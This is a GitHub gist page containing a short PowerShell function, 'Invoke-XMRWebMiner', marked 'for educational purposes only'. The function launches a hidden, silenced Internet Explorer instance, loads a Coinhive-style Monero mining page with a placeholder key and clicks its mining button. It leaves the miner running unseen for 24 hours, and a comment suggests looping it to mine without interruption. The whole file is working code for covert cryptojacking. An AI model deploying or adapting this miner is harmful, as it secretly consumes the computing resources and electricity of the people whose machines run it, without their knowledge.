Skip to content

Instantly share code, notes, and snippets.

@P3t3rp4rk3r
Created January 16, 2018 09:18
Show Gist options
  • Save P3t3rp4rk3r/b80133078c24c3e700b3103f872aed73 to your computer and use it in GitHub Desktop.
Save P3t3rp4rk3r/b80133078c24c3e700b3103f872aed73 to your computer and use it in GitHub Desktop.
function Invoke-XMRWebMiner {
<#--
FOR EDUCATIONAL PURPOSES ONLY
Will start a hidden Internet Explorer window and mine through coinhive in the background.
--#>
$ie=New-Object -comobject InternetExplorer.Application
$ie.visible = $False
$ie.Silent = $true
$ie.navigate('https://authedmine.com/media/miner.html?key=<enter your coinhive key>')
while($ie.busy){Start-Sleep 3}
$link = @($ie.Document.documentElement.getElementsByClassName(("mining-button")))
$link.click()
while ($ie.Busy) {
# CoinHive will only run your miner for 24hrs at a time. So, we time it and cleanly exit internet explorer after 24 hours.
# You could loop this to restart if you wanted to mine uninterrupted.
[System.Threading.Thread]::Sleep(86400)
}
$ie.quit
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment